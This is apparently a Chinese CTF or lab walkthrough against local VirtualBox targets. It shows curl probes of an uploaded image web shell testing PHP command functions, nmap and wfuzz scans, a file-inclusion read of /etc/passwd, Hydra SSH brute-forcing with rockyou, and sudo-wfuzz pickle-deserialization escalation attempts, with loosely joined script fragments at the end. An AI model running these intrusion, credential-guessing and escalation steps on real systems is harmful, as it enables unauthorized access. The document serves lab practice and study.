# 测试 system() curl -s -X POST -d "cmd=system('id');""http://TARGET/upload/.../shell.jpg" # 返回: # Warning: system() has been disabled for security reasons in # /var/www/html/upload/.../shell.jpg(1) : eval()'d code on line 1
# 测试 exec() curl -s -X POST -d "cmd=exec('id');""http://TARGET/upload/.../shell.jpg" # 返回: # Warning: exec() has been disabled for security reasons in ...
# 测试 shell_exec() curl -s -X POST -d "cmd=echo shell_exec('id');""http://TARGET/upload/.../shell.jpg" # 返回: # Warning: shell_exec() has been disabled for security reasons in ...
# 测试 passthru() curl -s -X POST -d "cmd=passthru('id');""http://TARGET/upload/.../shell.jpg" # 返回: # Warning: passthru() has been disabled for security reasons in ...
┌──(root㉿kali)-[~] └─# nmap -p- 192.168.43.99 Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-08 14:52 CST Nmap scan report for 111 (192.168.43.99) Host is up (0.00030s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:83:10:2F (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
┌──(root㉿kali)-[~] └─# nmap -p 22,80 -sVC -A 192.168.43.99 Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-08 14:55 CST Nmap scan report for 111 (192.168.43.99) Host is up (0.00046s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) |_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-title: 400 Bad Request |_http-server-header: Apache/2.4.62 (Debian) MAC Address: 08:00:27:83:10:2F (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4) Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.46 ms 111 (192.168.43.99)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.61 seconds
┌──(root㉿kali)-[~/localkali/testpayload] └─# wfuzz -c -w /usr/share/wordlists/wfuzz/general/common.txt --ss "root:x:0:0" -u "http://192.168.3.42/file.php?FUZZ=/etc/passwd" /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.3.42/file.php?FUZZ=/etc/passwd Total requests: 951 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000341: 200 26 L 38 W 1386 Ch "file" Total time: 0 Processed Requests: 951 Filtered Requests: 950 Requests/sec.: 0
* Trying 192.168.43.99:80... * Connected to 192.168.43.99 (192.168.43.99) port 80 > GET /file.php?file=/etc/passwd HTTP/1.1 > Host: 192.168.43.99 > User-Agent: curl/8.7.1 > Accept: */* > * Request completely sent off < HTTP/1.1 200 OK < Date: Thu, 08 Jan 2026 07:51:37 GMT < Server: Apache/2.4.62 (Debian) < Vary: Accept-Encoding < Content-Length: 1386 < Content-Type: text/html; charset=UTF-8 < root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin tao:x:1000:1000:,,,:/home/tao:/bin/bash * Connection #0 to host 192.168.43.99 left intact
发现有个==tao==用户, 结合80端口页面,提示我们使用 rockyou.tx 爆破密码了
hydra
一开始很慢,看到提示-t 4,加上很快就爆破出来
1
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
1 2 3 4 5 6 7 8 9 10 11
┌──(root㉿kali)-[~] └─# hydra -t 4 -l tao -P /usr/share/wordlists/rockyou.txt ssh://192.168.43.99 Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-08 16:15:00 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task [DATA] attacking ssh://192.168.43.99:22/ [22][ssh] host: 192.168.43.99 login: tao password: rockyou 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-08 16:15:19
爆破结果 ==[22][ssh] host: 192.168.43.99 login: tao password: rockyou==
tao@111:~$ sudo -l Matching Defaults entries for tao on 111: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User tao may run the following commands on 111: (ALL) NOPASSWD: /usr/bin/wfuzz (ALL) NOPASSWD: /usr/bin/id tao@111:~$ cat /usr/bin/wfuzz #!/usr/bin/python3 # EASY-INSTALL-ENTRY-SCRIPT: 'wfuzz==3.1.0','console_scripts','wfuzz' import re import sys
# for compatibility with easy_install; see #2198 __requires__ = 'wfuzz==3.1.0'
try: from importlib.metadata import distribution except ImportError: try: from importlib_metadata import distribution except ImportError: from pkg_resources import load_entry_point
def importlib_load_entry_point(spec, group, name): dist_name, _, _ = spec.partition('==') matches = ( entry_point for entry_point in distribution(dist_name).entry_points if entry_point.group == group and entry_point.name == name ) return next(matches).load()
tao@111:/tmp$ sudo /usr/bin/wfuzz -z help --slice wfuzzp /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. Name: wfuzzp 0.2 Categories: default Summary: Returns fuzz results' URL from a previous stored wfuzz session. Author: Xavi Mendez (@xmendez) Description: This payload uses pickle. Warning: The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source. See: https://blog.nelhage.com/2011/03/exploiting-pickle/ Parameters: + fn (= ): Filename of a valid wfuzz result file. - attr: Attribute of fuzzresult to return. If not specified the whole object is returned.
查看wfuzz的路径
1 2 3 4 5
tao@111:~$ which wfuzz /usr/bin/wfuzz tao@111:~$ python3 -c 'import wfuzz; print(wfuzz.__file__)' /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. /usr/lib/python3/dist-packages/wfuzz/__init__.py
查找关键字(exec、eval、system 和 pickle)这块卡主了也是问下别人的了思路
1 2 3 4 5 6 7 8 9 10 11 12 13 14
tao@111:~$ grep -r 'pickle' /usr/lib/python3/dist-packages/wfuzz/ Binary file /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/__pycache__/wfuzzp.cpython-39.pyc matches /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/wfuzzp.py:import pickle as pickle /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/wfuzzp.py: "This payload uses pickle.", /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/wfuzzp.py: "Warning: The pickle module is not intended to be secure against erroneous or maliciously constructed data.", /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/wfuzzp.py: "Never unpickle data received from an untrusted or unauthenticated source.", /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/wfuzzp.py: "See: https://blog.nelhage.com/2011/03/exploiting-pickle/", /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/wfuzzp.py: item = pickle.load(output) Binary file /usr/lib/python3/dist-packages/wfuzz/__pycache__/fuzzqueues.cpython-39.pyc matches /usr/lib/python3/dist-packages/wfuzz/fuzzqueues.py:import pickle as pickle /usr/lib/python3/dist-packages/wfuzz/fuzzqueues.py: pickle.dump(item, self.output_fn)
tao@111:/tmp$ sudo wfuzz -z wfuzz,/tmp/pwn.pickle.gz -u http://127.0.0.1/FUZZ /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://127.0.0.1/FUZZ Total requests: <<unknown>> ===================================================================== ID Response Lines Word Chars Payload ===================================================================== Total time: 0 Processed Requests: 0 Filtered Requests: 0 Requests/sec.: 0 /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:78: UserWarning:Fatal exception: Wrong wfuzz payload format, the object read is not a valid fuzz result. tao@111:/tmp$
tuf@112:~$ sudo -l Matching Defaults entries for tuf on 112: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User tuf may run the following commands on 112: (ALL) NOPASSWD: /opt/112.sh tuf@112:~$ ls -l /opt/112.sh -rwxr-xr-x 1 root root 993 Jan 8 04:56 /opt/112.sh
welcome@113:~$ sudo -l Matching Defaults entries for welcome on 113: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User welcome may run the following commands on 113: (ALL) NOPASSWD: /opt/113.sh welcome@113:~$ ls -l /opt/113.sh -rwxr-xr-x 1 root root 280 Jan 14 08:35 /opt/113.sh
if [ "$#" -ne 3 ];then# 检查传入脚本的参数个数是否为3个 exit# 不是3个参数则直接退出,无任何输出 fi
if [ "$3" != "mazesec" ] # 检查第3个参数是否严格等于字符串"mazesec" then echo"\$3 must be mazesec"# 不等于则输出提示信息 exit# 退出脚本 else /bin/cp /usr/bin/mazesec $sandbox# 满足条件:将系统中的/usr/bin/mazesec复制到临时沙箱目录 exec_="$sandbox/mazesec"# 定义exec_变量,指向沙箱中的mazesec程序路径 fi
if [ "$1" = "exec_" ];then# 检查第1个参数是否严格等于字符串"exec_" exit# 等于则直接退出,禁止将$1设为exec_ fi